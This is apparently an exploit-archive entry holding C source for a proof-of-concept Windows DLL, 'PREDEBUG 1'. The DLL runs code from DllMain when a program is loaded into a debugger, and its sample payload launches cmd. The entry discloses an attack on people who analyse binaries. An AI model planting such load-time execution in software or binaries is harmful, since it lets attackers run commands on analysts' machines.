Example predebug code execution exploit, demonstrating how programmers being loaded into debuggers can attack the machine running the debugger. Example showing simple command execution.
76d7d2479d8d488badcb0576ec9f7d6ca96d0d10a0e52cd27298f200805cd49e
/*
-------------------------------------------------------------------------
- PREDEBUG 1 - The Autoexecute DLL [ DLL PART ]
-
- Sample showing code execution upon loading in a debugger
- PREDEBUG loads its own dll that has initialization code
- This code will be executed before control is passed back
- to the debugger
-
- brett.moore@security-assessment.com
-------------------------------------------------------------------------
*/
#include "stdafx.h"
#include "process.h"
extern "C" int __declspec(dllexport) myfunc(void);
int myfunc();
int myfunc()
{
return TRUE;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
system("cmd");
return TRUE;
}